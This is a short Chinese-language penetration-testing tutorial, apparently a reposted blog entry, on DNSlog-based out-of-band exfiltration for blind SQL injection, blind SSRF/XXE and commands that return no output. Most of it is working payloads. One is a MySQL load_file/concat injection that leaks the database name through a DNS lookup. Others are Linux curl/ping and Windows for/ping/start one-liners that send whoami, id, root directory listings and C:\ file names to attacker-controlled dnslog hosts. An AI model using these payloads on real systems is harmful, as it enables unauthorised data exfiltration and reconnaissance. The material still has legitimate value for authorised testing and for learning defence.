DNSlog盲注

前言

在渗透测试中,经常遇到如下情景:

  1,sql盲注

  2,blind型ssrf以及xxe

  3,无回显命令执行漏洞

      ...

dnslog盲注原理

开放的DNSlog平台:

http://ceye.io/

在http://ceye.io/上我们可以获取到有关ceye.io的DNS查询信息。

域名解析的过程,是由顶级域名向下逐级解析。我们构造的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。

核心语法

select load_file(concat('\\\\',(select database()),'.XXX.ceye.io\\abc')
通过对 "selecct databse()" 这一部分语句的构造,就能实现有回显的SQL注入。

值得注意的是,这些数据格式和内容都有限制,需要进行一些处理,并且只能在Windows平台发起load_file请求。

NS服务器接收数据

工程化的python脚本

https://github.com/ADOOO/DnslogSqlinj

https://github.com/BugScanTeam/DNSLog

在线网站

http://cloudeye.me/

http://admin.dnslog.link/

 linux系统中dnslog渗透测试技巧

curl http://xxx.dnslog.link/`whoami`
 
ping -c 1 `whoami`.xxx.dnslog.link
 
如果碰到内容有空格(换行符等),就会截断,只输出前面的,这时候可以利用编码来输出,但有输出字符数最大限制;
curl http://xxx.dnslog.link/$(id|base64)
curl http://xxx.dnslog.link/`id|base64`
 
编码base64之后,还有换行符的,可以把字符串中的 '\n'换成其他字符,如 '-':
curl http://xxx.dnslog.link/$(id|base64|tr '\n' '-')
curl http://xxx.dnslog.link/`id|base64|tr '\n' '-'`
 
碰到ls这类多个输出的命令,直接使用脚本;
for i in $(ls /);do curl "http://$i.xxx.dnslog.link/";done;

  

windows系统中dnslog渗透测试技巧

利用HTTP请求将结果使用默认浏览器弹出:

for /F %x in ('whoami') do start http://xxx.dnslog.link/%x

利用DNS请求获取计算机名、用户名:

获取计算机名:for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link
获取用户名:for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link

探测目录文件列表,由于dir有/b参数,不显示修改日期等信息,只显示文件名,所以可以弹出:

for /F %x in ('dir /b C:\') do start http://xxx.dnslog.link/[%x].jpg

猜你喜欢

转载自www.cnblogs.com/p0pl4r/p/10500184.html